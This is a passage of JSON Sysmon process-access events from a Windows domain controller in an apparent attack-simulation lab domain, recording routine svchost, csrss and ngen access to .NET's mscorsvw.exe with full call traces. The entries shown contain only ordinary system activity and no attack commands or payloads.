12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7269,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010C0110C00}\r\nTargetProcessId: 2200\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010C0110C00}","TargetProcessId":"2200","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7270,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.807\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-001065C10C00}\r\nTargetProcessId: 5000\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.807","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-001065C10C00}","TargetProcessId":"5000","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7271,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.807\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-001065C10C00}\r\nTargetProcessId: 5000\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.807","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-001065C10C00}","TargetProcessId":"5000","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7272,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.822\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-001065C10C00}\r\nTargetProcessId: 5000\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.822","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-001065C10C00}","TargetProcessId":"5000","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7273,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.869\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-00107CC50C00}\r\nTargetProcessId: 752\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.869","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-00107CC50C00}","TargetProcessId":"752","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7274,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.869\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-00107CC50C00}\r\nTargetProcessId: 752\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.869","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-00107CC50C00}","TargetProcessId":"752","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7275,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.885\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-00107CC50C00}\r\nTargetProcessId: 752\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.885","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-00107CC50C00}","TargetProcessId":"752","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7276,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.947\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010E5CA0B00}\r\nTargetProcessId: 4780\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 